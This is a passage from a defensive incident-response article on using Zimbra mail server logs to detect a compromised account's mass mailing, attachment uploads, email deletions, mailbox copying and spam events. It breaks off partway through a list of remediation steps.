<p style="text-align: justify;">To find out, you now need to analyze the <strong>attacker’s activity within the Zimbra infrastructure</strong>. Once authenticated, an attacker can indeed:</p>
<ul style="text-align: justify;">
<li>Launch an <strong>internal</strong> or <strong>external</strong> <strong>phishing</strong> <strong>campaign</strong></li>
<li>Send messages aimed at tricking a colleague, partner, or client into taking action (CEO fraud, fictitious urgent requests, etc.)</li>
<li><strong>Exfiltrate sensitive data</strong> from mailboxes</li>
</ul>
<p style="text-align: justify;">In this section, we will examine <strong>some examples of suspicious activities</strong> that can be identified from Zimbra logs.</p>
<p> </p>
<h4>Sending a large number of emails in a short amount of time</h4>
<p style="text-align: justify;">You want to determine whether compromised accounts were used to co<strong>nduct additional phishing attempts</strong> by sending <strong>mass emails</strong> to <strong>internal</strong> or <strong>external</strong> <strong>recipients</strong>. Unfortunately, Zimbra does not provide a native event that allows you to retrieve this information directly. However, a simple <strong>grep</strong> command will get the job done.</p>
<p style="text-align: justify;">The command below extracts the <strong>number of messages sent by each user</strong> over a specific period (here, from <strong>November</strong> <strong>21 to November 27, 2025</strong>):</p>
<figure id="attachment_28721" aria-describedby="caption-attachment-28721" style="width: 1377px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28721" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/1-Retrieving-the-number-of-emails-sent-per-user-mailbox.log_.png" alt="Retrieving the number of emails sent per user (mailbox.log)" width="1377" height="444" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/1-Retrieving-the-number-of-emails-sent-per-user-mailbox.log_.png 1377w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/1-Retrieving-the-number-of-emails-sent-per-user-mailbox.log_-437x141.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/1-Retrieving-the-number-of-emails-sent-per-user-mailbox.log_-71x23.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/1-Retrieving-the-number-of-emails-sent-per-user-mailbox.log_-768x248.png 768w" sizes="auto, (max-width: 1377px) 100vw, 1377px" /><figcaption id="caption-attachment-28721" class="wp-caption-text"><em>Retrieving the number of emails sent per user (mailbox.log)</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">In this example, <strong>user25@wavestone.corp</strong> clearly <strong>stands out</strong> with a <strong>sending volume far above normal</strong>. An <strong>unusually high volume</strong> of emails sent from a mailbox <strong>over a short period</strong> constitutes <strong>suspicious activity</strong>.</p>
<p style="text-align: justify;">In legitimate use, mass email sending is relatively rare and is generally associated with <strong>generic addresses</strong> or <strong>internal communication systems</strong> (e.g., newsletters, HR announcements). When a standard user account exhibits this type of behavior, it is important to:</p>
<ul style="text-align: justify;">
<li>Determine whether this is normal, recurring activity for the user</li>
<li>Check the sending time frame, IP address, and User-Agent</li>
<li>Verify whether any suspicious attachments were associated with the emails</li>
</ul>
<p style="text-align: justify;">Mass email sending can <strong>trigger built-in protection mechanisms</strong> in Zimbra, including <strong>quota rules</strong>. These thresholds are designed to limit the volume of messages sent by an account over a given period to prevent abuse, spam, or phishing campaigns.</p>
<p style="text-align: justify;">The two commands below allow you to retrieve events related to quota exceedances:</p>
<figure id="attachment_28723" aria-describedby="caption-attachment-28723" style="width: 1378px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28723" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Retrieval-of-quota-overruns-mailbox.log_.png" alt="Retrieval of quota overruns (mailbox.log)" width="1378" height="146" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Retrieval-of-quota-overruns-mailbox.log_.png 1378w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Retrieval-of-quota-overruns-mailbox.log_-437x46.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Retrieval-of-quota-overruns-mailbox.log_-71x8.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/2-Retrieval-of-quota-overruns-mailbox.log_-768x81.png 768w" sizes="auto, (max-width: 1378px) 100vw, 1378px" /><figcaption id="caption-attachment-28723" class="wp-caption-text"><em>Retrieval of quota overruns (mailbox.log)</em></figcaption></figure>
<figure id="attachment_28727" aria-describedby="caption-attachment-28727" style="width: 1375px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28727" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Retrieval-of-quota-overruns-mail.log_.png" alt="Retrieval of quota overruns (mail.log)" width="1375" height="187" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Retrieval-of-quota-overruns-mail.log_.png 1375w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Retrieval-of-quota-overruns-mail.log_-437x59.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Retrieval-of-quota-overruns-mail.log_-71x10.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/3-Retrieval-of-quota-overruns-mail.log_-768x104.png 768w" sizes="auto, (max-width: 1375px) 100vw, 1375px" /><figcaption id="caption-attachment-28727" class="wp-caption-text"><em>Retrieval of quota overruns (mail.log)</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">The appearance of error messages related to quota exceedances is a signal <strong>not to be ignored</strong>, because:</p>
<ul style="text-align: justify;">
<li>Either the legitimate user accidentally exceeded a quota</li>
<li>Or the account is being used fraudulently to send mass emails</li>
</ul>
<p style="text-align: justify;">Since this indicator can generate a <strong>large number of false positives</strong>, it is recommended to <strong>correlate it with other information</strong> in order to draw meaningful conclusions.</p>
<p> </p>
<h4>Sending an email to a large number of recipients</h4>
<p style="text-align: justify;">To avoid triggering a quota‑exceedance alert, a more seasoned attacker may adopt a more &#8220;<em>subtle</em>&#8221; strategy. Instead of sending <strong>dozens of individual</strong> emails (a noisy method), they may choose to send a <strong>single message</strong> addressed to a <strong>long list of recipients</strong>: an efficient way to optimize their phishing campaign.</p>
<p style="text-align: justify;">Fortunately for you, Zimbra logs make it possible to identify the <strong>number of recipients associated with each sent email</strong>, which makes this type of maneuver detectable without too much effort.</p>
<p style="text-align: justify;">The commands below allow you to identify emails sent to an unusually <strong>high number of recipients</strong>:</p>
<figure id="attachment_28729" aria-describedby="caption-attachment-28729" style="width: 1377px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28729" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Retrieval-of-emails-sent-to-more-than-100-recipients-mail.log_.png" alt="Retrieval of emails sent to more than 100 recipients (mail.log)" width="1377" height="144" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Retrieval-of-emails-sent-to-more-than-100-recipients-mail.log_.png 1377w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Retrieval-of-emails-sent-to-more-than-100-recipients-mail.log_-437x46.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Retrieval-of-emails-sent-to-more-than-100-recipients-mail.log_-71x7.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/4-Retrieval-of-emails-sent-to-more-than-100-recipients-mail.log_-768x80.png 768w" sizes="auto, (max-width: 1377px) 100vw, 1377px" /><figcaption id="caption-attachment-28729" class="wp-caption-text"><em>Retrieval of emails sent to more than 100 recipients (mail.log)</em></figcaption></figure>
<figure id="attachment_28731" aria-describedby="caption-attachment-28731" style="width: 1371px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28731" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Retrieval-of-emails-sent-to-more-than-100-recipients-mailbox.log_.png" alt="Retrieval of emails sent to more than 100 recipients (mailbox.log)" width="1371" height="185" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Retrieval-of-emails-sent-to-more-than-100-recipients-mailbox.log_.png 1371w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Retrieval-of-emails-sent-to-more-than-100-recipients-mailbox.log_-437x59.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Retrieval-of-emails-sent-to-more-than-100-recipients-mailbox.log_-71x10.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/5-Retrieval-of-emails-sent-to-more-than-100-recipients-mailbox.log_-768x104.png 768w" sizes="auto, (max-width: 1371px) 100vw, 1371px" /><figcaption id="caption-attachment-28731" class="wp-caption-text"><em>Retrieval of emails sent to more than 100 recipients (mailbox.log)</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Here, you can observe that the user <strong>user25@wavestone.corp</strong> sent an email to <strong>211 recipients</strong>. Such behavior is clearly <strong>suspicious</strong>.</p>
<p style="text-align: justify;">In practice, it is <strong>rare</strong> for a <strong>personal email address</strong> to send a message to s<strong>everal dozen recipients simultaneously</strong>. This type of volume is usually associated with <strong>shared mailboxes</strong> or <strong>generic addresses</strong> (e.g., internal communications, HR services, institutional announcements).</p>
<p style="text-align: justify;">When a standard user account exhibits this kind of activity, it is essential to:</p>
<ul style="text-align: justify;">
<li>identify the usual communication practices within the organization</li>
<li>determine whether this sending volume is normal or recurrent for the user in question</li>
<li>examine the time window, IP address, and user agent used during the sending</li>
<li>check if any potentially malicious attachments were associated with the messages</li>
</ul>
<p style="text-align: justify;">To save time, it is often relevant to <strong>confirm directly with the user</strong> whether the sending was legitimate.</p>
<p style="text-align: justify;">The example presented here isolates sends containing <strong>more than 100 recipients</strong>. However, this <strong>threshold should be adjusted</strong> depending on:</p>
<ul>
<li style="text-align: justify;">the usual volume within the organization</li>
<li style="text-align: justify;">the type of accounts involved</li>
<li style="text-align: justify;">and the period covered by the logs analyzed</li>
</ul>
<p> </p>
<h4>Uploading suspicious attachments</h4>
<p style="text-align: justify;">Unlike email reception, the <strong>upload of suspicious attachments</strong> is better logged by Zimbra. Each time a user attaches a file to a new email, Zimbra carefully records the operation in its logs.</p>
<p style="text-align: justify;">Using the commands below, you can <strong>retrieve the attachments added to emails</strong> by a potentially compromised user:</p>
<figure id="attachment_28737" aria-describedby="caption-attachment-28737" style="width: 1374px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28737" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-Retrieval-of-attachment-upload-events-mailbox.log-1-2.png" alt="Retrieval of attachment upload events (mailbox.log) (1/2)" width="1374" height="184" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-Retrieval-of-attachment-upload-events-mailbox.log-1-2.png 1374w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-Retrieval-of-attachment-upload-events-mailbox.log-1-2-437x59.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-Retrieval-of-attachment-upload-events-mailbox.log-1-2-71x10.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/6-Retrieval-of-attachment-upload-events-mailbox.log-1-2-768x103.png 768w" sizes="auto, (max-width: 1374px) 100vw, 1374px" /><figcaption id="caption-attachment-28737" class="wp-caption-text"><em>Retrieval of attachment upload events (mailbox.log) (1/2)</em></figcaption></figure>
<figure id="attachment_28739" aria-describedby="caption-attachment-28739" style="width: 1377px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28739" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Retrieval-of-attachment-upload-events-mailbox.log-2-2.png" alt="Retrieval of attachment upload events (mailbox.log) (2/2)" width="1377" height="147" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Retrieval-of-attachment-upload-events-mailbox.log-2-2.png 1377w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Retrieval-of-attachment-upload-events-mailbox.log-2-2-437x47.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Retrieval-of-attachment-upload-events-mailbox.log-2-2-71x8.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/7-Retrieval-of-attachment-upload-events-mailbox.log-2-2-768x82.png 768w" sizes="auto, (max-width: 1377px) 100vw, 1377px" /><figcaption id="caption-attachment-28739" class="wp-caption-text"><em>Retrieval of attachment upload events (mailbox.log) (2/2)</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Similarly to the reception of malicious attachments, you can search in the logs for:</p>
<ul style="text-align: justify;">
<li>the <strong>upload of attachments with suspicious extensions</strong> (e.g., .htm, .html, .exe, .js, .arj, .iso, .bat, .ps1, or Office/PDF documents containing macros);</li>
<li><strong>files already observed earlier</strong> during the initial phases of the incident (for example, a document downloaded by patient zero);</li>
<li><strong>correlating upload activities</strong> with malicious source IP addresses or accounts identified as compromised.</li>
</ul>
<p style="text-align: justify;">This list is <strong>not exhaustive</strong>; it may be relevant to search for <strong>any type of file</strong> that seems <strong>pertinent</strong> <strong>to the context of your investigation</strong>.</p>
<p> </p>
<h4>Removal of traces</h4>
<p style="text-align: justify;">Now that you have a clear picture of what the attacker did with the compromised accounts, you are disappointed because you <strong>cannot locate the emails in question</strong>. You suspect that the attacker <strong>erased its traces</strong>. But how can you verify this?</p>
<p style="text-align: justify;">Indeed, after sending malicious emails, an experienced attacker may try to <strong>hide its tracks</strong> from the legitimate mailbox owner by <strong>deleting sent emails</strong> or returned messages.</p>
<p style="text-align: justify;">Fortunately, the following commands will allow you to <strong>identify email deletions </strong>performed in Zimbra:</p>
<figure id="attachment_28743" aria-describedby="caption-attachment-28743" style="width: 1373px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28743" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/8-Retrieval-of-deleted-items-from-the-trash-mailbox.log_.png" alt="Retrieval of deleted items from the trash (mailbox.log)" width="1373" height="361" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/8-Retrieval-of-deleted-items-from-the-trash-mailbox.log_.png 1373w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/8-Retrieval-of-deleted-items-from-the-trash-mailbox.log_-437x115.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/8-Retrieval-of-deleted-items-from-the-trash-mailbox.log_-71x19.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/8-Retrieval-of-deleted-items-from-the-trash-mailbox.log_-768x202.png 768w" sizes="auto, (max-width: 1373px) 100vw, 1373px" /><figcaption id="caption-attachment-28743" class="wp-caption-text"><em>Retrieval of deleted items from the trash (mailbox.log)</em></figcaption></figure>
<figure id="attachment_28746" aria-describedby="caption-attachment-28746" style="width: 1375px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28746" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/9-Retrieval-of-permanently-deleted-files-mail.log_.png" alt="Retrieval of permanently deleted files (mail.log)" width="1375" height="364" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/9-Retrieval-of-permanently-deleted-files-mail.log_.png 1375w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/9-Retrieval-of-permanently-deleted-files-mail.log_-437x116.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/9-Retrieval-of-permanently-deleted-files-mail.log_-71x19.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/9-Retrieval-of-permanently-deleted-files-mail.log_-768x203.png 768w" sizes="auto, (max-width: 1375px) 100vw, 1375px" /><figcaption id="caption-attachment-28746" class="wp-caption-text"><em>Retrieval of permanently deleted files (mail.log)</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">In legitimate use, it is not uncommon for a user to <strong>delete multiple emails</strong> (e.g., inbox cleanup, managing newsletters). However, the situation becomes <strong>suspicious</strong> when deletions occur:</p>
<ul style="text-align: justify;">
<li><strong>Immediately</strong> after a <strong>mass email sending</strong></li>
<li>Targeting specifically the <strong>most recently sent messages</strong></li>
</ul>
<p style="text-align: justify;">During your investigation, keep in mind that an attacker may also attempt to delete:</p>
<ul style="text-align: justify;">
<li><strong>Read receipts generated by their emails</strong></li>
<li><strong>Automatic replies</strong> (out-of-office messages, NDRs) that could alert the victim</li>
</ul>
<p style="text-align: justify;">It is therefore important <strong>not to overlook deletions</strong> and to <strong>correlate them with other indicators</strong> (suspicious authentications, mass email sending, quota exceedances, connections from malicious IPs) to assess the <strong>legitimacy</strong> <strong>of these actions</strong>.</p>
<p> </p>
<h4>Data exfiltration</h4>
<p style="text-align: justify;"><strong>One question still troubles you</strong>… Among the compromised accounts, some belonged to users who handled sensitive data for the company. You therefore want to determine whether the attacker attempted to <strong>exfiltrate any email</strong> they had access to.</p>
<p style="text-align: justify;">Unfortunately for you, <strong>Zimbra does not log the direct download of emails</strong>. After all, retrieving messages via IMAP or SMTP is essentially a &#8220;<em>download</em>&#8221; from the server to the mail client. It is therefore difficult to distinguish a <strong>normal transfer</strong> from a <strong>malicious download</strong>. And in the Nginx logs (which expose the webmail), the same issue arises: it is impossible to precisely identify whether an email was downloaded.</p>
<p style="text-align: justify;">As a small consolation, Zimbra does log certain internal operations, particularly <strong>copy actions</strong> performed within the mailbox. An attacker could, for example, create a folder to store sensitive emails before extraction.</p>
<p style="text-align: justify;">The following command allows you to identify a <strong>massive copy of emails</strong> <strong>into a folder</strong> (here named &#8220;<em>Exfiltration</em>&#8220;) from the web client:</p>
<figure id="attachment_28748" aria-describedby="caption-attachment-28748" style="width: 1254px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28748" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/10-Retrieval-of-mass-email-copy-events-mailbox.log-1-2.png" alt="Retrieval of mass email copy events (mailbox.log) (1/2)" width="1254" height="785" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/10-Retrieval-of-mass-email-copy-events-mailbox.log-1-2.png 1254w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/10-Retrieval-of-mass-email-copy-events-mailbox.log-1-2-305x191.png 305w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/10-Retrieval-of-mass-email-copy-events-mailbox.log-1-2-62x39.png 62w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/10-Retrieval-of-mass-email-copy-events-mailbox.log-1-2-768x481.png 768w" sizes="auto, (max-width: 1254px) 100vw, 1254px" /><figcaption id="caption-attachment-28748" class="wp-caption-text"><em>Retrieval of mass email copy events (mailbox.log) (1/2)</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">The following command allows you to identify a copy of a large number of emails in a folder from an IMAP thick client:</p>
<figure id="attachment_28750" aria-describedby="caption-attachment-28750" style="width: 1129px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28750" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/11-Retrieval-of-mass-email-copy-events-mailbox.log-2-2.png" alt="Retrieval of mass email copy events (mailbox.log) (2/2)" width="1129" height="708" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/11-Retrieval-of-mass-email-copy-events-mailbox.log-2-2.png 1129w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/11-Retrieval-of-mass-email-copy-events-mailbox.log-2-2-305x191.png 305w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/11-Retrieval-of-mass-email-copy-events-mailbox.log-2-2-62x39.png 62w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/11-Retrieval-of-mass-email-copy-events-mailbox.log-2-2-768x482.png 768w" sizes="auto, (max-width: 1129px) 100vw, 1129px" /><figcaption id="caption-attachment-28750" class="wp-caption-text"><em>Retrieval of mass email copy events (mailbox.log) (2/2)</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Although there are legitimate cases (e.g., manual backup by the user), this type of activity should <strong>raise attention</strong>, especially when correlated with:</p>
<ul style="text-align: justify;">
<li>Logins from unusual IP addresses</li>
<li>Suspicious authentications</li>
<li>Mass email sending</li>
</ul>
<p style="text-align: justify;">However, as you can see, it is very difficult to <strong>confirm a data exfiltration</strong>. Therefore, it should be assumed that if a <strong>mailbox is compromised</strong>, the attacker potentially had the ability to <strong>download all emails</strong> <strong>of the affected user</strong>.</p>
<p> </p>
<h3>Detection of antivirus and antispam solutions</h3>
<p style="text-align: justify;">We haven’t really covered this until now, but it’s important to know that Zimbra natively integrates <strong>Amavis</strong>, a &#8220;<em>central</em>&#8221; component that <strong>orchestrates various security engines</strong>. These engines help identify suspicious files, phishing campaigns, and mass spam sending. It is therefore valuable to leverage these detection mechanisms when analyzing an attacker’s activities.</p>
<p style="text-align: justify;">During your investigations, examining the messages generated by Amavis can help highlight:</p>
<ul>
<li style="text-align: justify;"><strong>Messages blocked</strong> before reaching the user’s mailbox (e.g., spoofing attempts)</li>
<li style="text-align: justify;"><strong>Malicious attachments</strong> detected and placed in quarantine</li>
<li style="text-align: justify;"><strong>Violations of certain security policies</strong> defined on the platform</li>
</ul>
<p> </p>
<h4>Amavis</h4>
<p style="text-align: justify;">It is possible to retrieve certain events generated by <strong>Amavis</strong> with the following commands:</p>
<figure id="attachment_28754" aria-describedby="caption-attachment-28754" style="width: 1124px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28754" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/12-Retrieval-of-amavis-events-mail.log_.png" alt="Retrieval of amavis events (mail.log)" width="1124" height="185" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/12-Retrieval-of-amavis-events-mail.log_.png 1124w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/12-Retrieval-of-amavis-events-mail.log_-437x72.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/12-Retrieval-of-amavis-events-mail.log_-71x12.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/12-Retrieval-of-amavis-events-mail.log_-768x126.png 768w" sizes="auto, (max-width: 1124px) 100vw, 1124px" /><figcaption id="caption-attachment-28754" class="wp-caption-text"><em>Retrieval of amavis events (mail.log)</em></figcaption></figure>
<figure id="attachment_28757" aria-describedby="caption-attachment-28757" style="width: 1127px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28757" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/13-Retrieval-of-amavis-events-mailbox.log_.png" alt="Retrieval of amavis events (mailbox.log)" width="1127" height="272" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/13-Retrieval-of-amavis-events-mailbox.log_.png 1127w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/13-Retrieval-of-amavis-events-mailbox.log_-437x105.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/13-Retrieval-of-amavis-events-mailbox.log_-71x17.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/13-Retrieval-of-amavis-events-mailbox.log_-768x185.png 768w" sizes="auto, (max-width: 1127px) 100vw, 1127px" /><figcaption id="caption-attachment-28757" class="wp-caption-text"><em>Retrieval of amavis events (mailbox.log)</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Since Amavis generates a <strong>large number of events</strong>, it may be wise to focus your investigation on detections related to <strong>spam</strong> and <strong>phishing</strong>. Note that the identification of phishing messages has already been discussed in a previous section of this article (&#8220;<em>Account Compromise via Phishing Attack</em>&#8220;)</p>
<p> </p>
<h4>Incoming spam</h4>
<p style="text-align: justify;">It may be useful to identify messages that have triggered incoming <strong>spam detections</strong>. When a message is classified as spam, Zimbra generates logs indicating the <strong>reason for this categorization</strong>.</p>
<p style="text-align: justify;">These events can contain <strong>several useful pieces of information</strong>:</p>
<ul style="text-align: justify;">
<li>The affected account</li>
<li>The unique identifier of the message in the mailbox</li>
<li>The originating IP address of the email</li>
<li>Additionally, in the case of a SpamReport:
<ul>
<li>The result of the analysis (isSpam field)</li>
<li>The action taken (e.g., moving the message from the Inbox to Junk)</li>
<li>Sometimes the recipient of the report used for training or reporting purposes (e.g., a dedicated address such as spam@wavestone.corp</li>
</ul>
</li>
</ul>
<p style="text-align: justify;">The following command can help you <strong>identify events related to the processing of incoming spam:</strong></p>
<figure id="attachment_28759" aria-describedby="caption-attachment-28759" style="width: 1124px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28759" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/14-Retrieval-of-events-related-to-incoming-spam-zimbra.log_.png" alt="Retrieval of events related to incoming spam (zimbra.log)" width="1124" height="456" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/14-Retrieval-of-events-related-to-incoming-spam-zimbra.log_.png 1124w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/14-Retrieval-of-events-related-to-incoming-spam-zimbra.log_-437x177.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/14-Retrieval-of-events-related-to-incoming-spam-zimbra.log_-71x29.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/14-Retrieval-of-events-related-to-incoming-spam-zimbra.log_-768x312.png 768w" sizes="auto, (max-width: 1124px) 100vw, 1124px" /><figcaption id="caption-attachment-28759" class="wp-caption-text"><em>Retrieval of events related to incoming spam (zimbra.log)</em></figcaption></figure>
<figure id="attachment_28761" aria-describedby="caption-attachment-28761" style="width: 1127px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28761" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/15-Retrieval-of-events-related-to-incoming-spam-mailbox.log_.png" alt="Retrieval of events related to incoming spam (mailbox.log)" width="1127" height="154" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/15-Retrieval-of-events-related-to-incoming-spam-mailbox.log_.png 1127w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/15-Retrieval-of-events-related-to-incoming-spam-mailbox.log_-437x60.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/15-Retrieval-of-events-related-to-incoming-spam-mailbox.log_-71x10.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/15-Retrieval-of-events-related-to-incoming-spam-mailbox.log_-768x105.png 768w" sizes="auto, (max-width: 1127px) 100vw, 1127px" /><figcaption id="caption-attachment-28761" class="wp-caption-text"><em>Retrieval of events related to incoming spam (mailbox.log)</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Since spam detections generate a <strong>large number of false positives</strong>, it may be useful to <strong>narrow the scope of your investigation</strong> as much as possible (for example, by focusing on a specific time period or a specific set of users).</p>
<p> </p>
<h4>Outgoing spam</h4>
<p style="text-align: justify;">The threat does not always come from outside. Some malicious emails <strong>sent from compromised internal accounts</strong> to external recipients can leave very interesting traces in Zimbra’s logs. Indeed, if the message sent from the compromised account is <strong>blocked by the recipient mail server’s antispam solution</strong>, that server will send an error notification back to the Zimbra server to report the rejection.</p>
<p style="text-align: justify;">Analyzing these <strong>non-delivery reports (NDRs)</strong> can therefore raise a red flag:<br />it may reveal that a user is compromised… or that an account has been used in an <strong>attempt to send malicious emails</strong>.</p>
<p style="text-align: justify;">It is possible to extract these rejected messages using the following command:</p>
<figure id="attachment_28763" aria-describedby="caption-attachment-28763" style="width: 1130px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-full wp-image-28763" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/16-Retrieval-of-events-related-to-outgoing-spam.png" alt="Retrieval of events related to outgoing spam" width="1130" height="188" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/16-Retrieval-of-events-related-to-outgoing-spam.png 1130w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/16-Retrieval-of-events-related-to-outgoing-spam-437x73.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/16-Retrieval-of-events-related-to-outgoing-spam-71x12.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2026/01/16-Retrieval-of-events-related-to-outgoing-spam-768x128.png 768w" sizes="auto, (max-width: 1130px) 100vw, 1130px" /><figcaption id="caption-attachment-28763" class="wp-caption-text"><em>Retrieval of events related to outgoing spam</em></figcaption></figure>
<p> </p>
<p style="text-align: justify;">Outgoing spam is generally rare. Analyzing it only becomes truly useful in cases where the attacker attempts to <strong>lateralize</strong> to <strong>external email accounts</strong>.</p>
<p> </p>
<h2>Remediation measures</h2>
<p style="text-align: justify;"><strong>You have conducted your investigation at full speed</strong>: compromised users identified, malicious IP addresses cataloged, suspicious activities analyzed… in short, you have traced the attack with surgical precision. It is now time to move to the next step: <strong>remediation</strong>.</p>
<p style="text-align: justify;">The primary goal of remediation is to <strong>remove the attacker’s access</strong> to the infrastructure, <strong>implement detection mechanisms</strong> capable of preventing further compromise attempts, and <strong>strengthen user awareness</strong> to limit the impact of <strong>ongoing</strong> and <strong>future</strong> <strong>phishing</strong> <strong>campaigns</strong>.</p>
<p style="text-align: justify;">By <strong>collecting various indicators</strong> related to the phishing campaign (compromised or suspected accounts, email addresses, malicious IPs and domains, etc.), it is recommended to implement a series of <strong>corrective</strong> and <strong>preventive</strong> <strong>actions</strong> (non-exhaustive):</p>
<ul style="text-align: justify;">
<li><strong>Reset passwords for suspected accounts</strong>: For any user who has been compromised or is suspected of being compromised, a password reset is required.</li>
<li><strong>Block malicious domains, IP addresses, and email addresses</strong>: Infrastructure elements used by the attacker (domains, IPs, senders) should be blocked using available network solutions (proxy, firewall, mail filters) as soon as they are detected. This will limit the risk of further propagation.</li>
<li><strong>Perform antivirus/EDR scans on compromised user workstations</strong>: Workstations of compromised users should undergo antivirus or EDR analysis to:
<ul>
<li>Detect and remove any potential malicious files</li>
